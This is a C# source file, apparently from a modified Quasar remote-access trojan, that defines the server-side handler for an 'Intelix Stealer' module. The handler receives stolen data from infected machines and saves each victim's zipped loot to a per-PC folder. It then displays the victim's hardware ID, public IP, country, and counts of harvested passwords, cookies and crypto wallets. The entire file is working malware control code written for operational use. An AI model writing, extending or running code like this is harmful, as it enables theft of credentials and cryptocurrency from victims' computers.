using Quasar.Common.Messages;
using Quasar.Common.Networking;
using Quasar.Server.Networking;
using Quasar.Server.Helper;
using System;
using System.IO;
using System.Windows.Forms;

namespace Quasar.Server.Messages
{
    public class IntelixStealerHandler : MessageProcessorBase<GetIntelixStealerLogsResponse>
    {
        public IntelixStealerHandler() : base(true)
        {
        }

        public override bool CanExecute(IMessage message) => message is GetIntelixStealerLogsResponse;

        public override bool CanExecuteFrom(ISender sender) => true;

        public override void Execute(ISender sender, IMessage message)
        {
            switch (message)
            {
                case GetIntelixStealerLogsResponse response:
                    Execute(sender, response);
                    break;
            }
        }

        private void Execute(ISender client, GetIntelixStealerLogsResponse message)
        {
            if (!message.Success)
            {
                MessageBox.Show($"Intelix Stealer failed: {message.ErrorMessage}", 
                    "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }

            try
            {
                // Get client-specific folder for Intelix stealer results
                var quasarClient = client as Client;
                if (quasarClient == null)
                {
                    MessageBox.Show("Invalid client reference.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    return;
                }

                string clientFolder = ClientDataManager.GetClientFolder(quasarClient, "Intelix");
                string pcName = quasarClient.Value.PcName.Replace(":", "_").Replace("\\", "_").Replace("/", "_");
                string fileName = $"Intelix_{pcName}.zip";
                string filePath = Path.Combine(clientFolder, fileName);

                File.WriteAllBytes(filePath, message.ZipData);

                // Show results form
                using (var resultsForm = new Forms.FrmIntelixResults(
                    filePath,
                    message.Hwid,
                    message.PublicIp,
                    message.CountryCode,
                    message.PasswordCount,
                    message.CookieCount,
                    message.WalletCount))
                {
                    resultsForm.ShowDialog();
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show($"Error saving Intelix logs: {ex.Message}", 
                    "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }
    }
}
